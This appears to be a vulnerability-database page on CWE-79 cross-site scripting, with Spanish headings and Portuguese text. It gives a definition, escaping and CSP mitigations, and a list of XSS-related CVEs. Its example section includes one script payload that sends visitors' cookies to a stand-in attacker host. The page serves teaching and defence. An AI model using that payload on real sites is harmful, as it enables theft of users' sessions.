Fallos del tipo CWE-79

29.816 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-31183MEDIUM Cybonet PineApp Mail Secure RXSS vulnerabilityEPSS 0.4%CVE-2024-0011MEDIUMPAN-OS: Reflected Cross-Site Scripting (XSS) Vulnerability in Captive Portal AuthenticationEPSS 0.4%CVE-2025-53926MEDIUMEmlog has Stored Cross-site Scripting vulnerability due to errorEPSS 0.4%CVE-2025-1592MEDIUMSourceCodester Best Employee Management System Add Role Page Role.php cross site scriptingEPSS 0.4%CVE-2024-46482HIGHAn arbitrary file upload vulnerability in the Ticket Generation function of Ladybird Web Solution Faveo-Helpdesk v2.0.3 allows attackers to EPSS 0.4%CVE-2023-46076HIGHWordPress WooCommerce PDF Invoice Builder Plugin <= 1.2.102 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-46980MEDIUMTuleap vulnerable to XSS in the HTML mail content of the cross reference fieldEPSS 0.4%CVE-2023-5114MEDIUMidbbee <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-25226MEDIUMA cross-site scripting (XSS) vulnerability in Simple Admin Panel App v1.0 allows attackers to execute arbitrary web scripts or HTML via a crEPSS 0.4%CVE-2024-11369MEDIUMStore credit / Gift cards for woocommerce <= 1.0.49.46 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-13591MEDIUMTeam Builder For WPBakery Page Builder(Formerly Visual Composer) <= 1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-2979MEDIUMWCMS Registration setregister cross site scriptingEPSS 0.4%CVE-2026-33172HIGHStatamic has Stored XSS via SVG Sanitization BypassEPSS 0.4%CVE-2024-11746MEDIUMDiscover the Best Woocommerce Product Brands Plugin for WordPress – Woocommerce Brands Plugin <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-0710MEDIUMCampCodes School Management Software Notice Board Page notice-list cross site scriptingEPSS 0.4%CVE-2024-12290MEDIUMInfility Global <= 2.9.8 - Reflected Cross-Site Scripting via set_type ParameterEPSS 0.4%CVE-2026-38466MEDIUMA Stored XSS vulnerability in the torrent remaster custom title feature in GazellePW (GazellePosterWall) commit 86c4bedf727691b5a97af42a4864EPSS 0.4%CVE-2025-27921MEDIUMA reflected cross-site scripting (XSS) vulnerability was discovered in Output Messenger before 2.0.63, where unsanitized input could be injeEPSS 0.4%CVE-2022-45087MEDIUMCross-site Scripting in Smartpower WebEPSS 0.4%CVE-2022-48344MEDIUMIn JetBrains TeamCity before 2022.10.2 there was an XSS vulnerability in the group creation process.EPSS 0.4%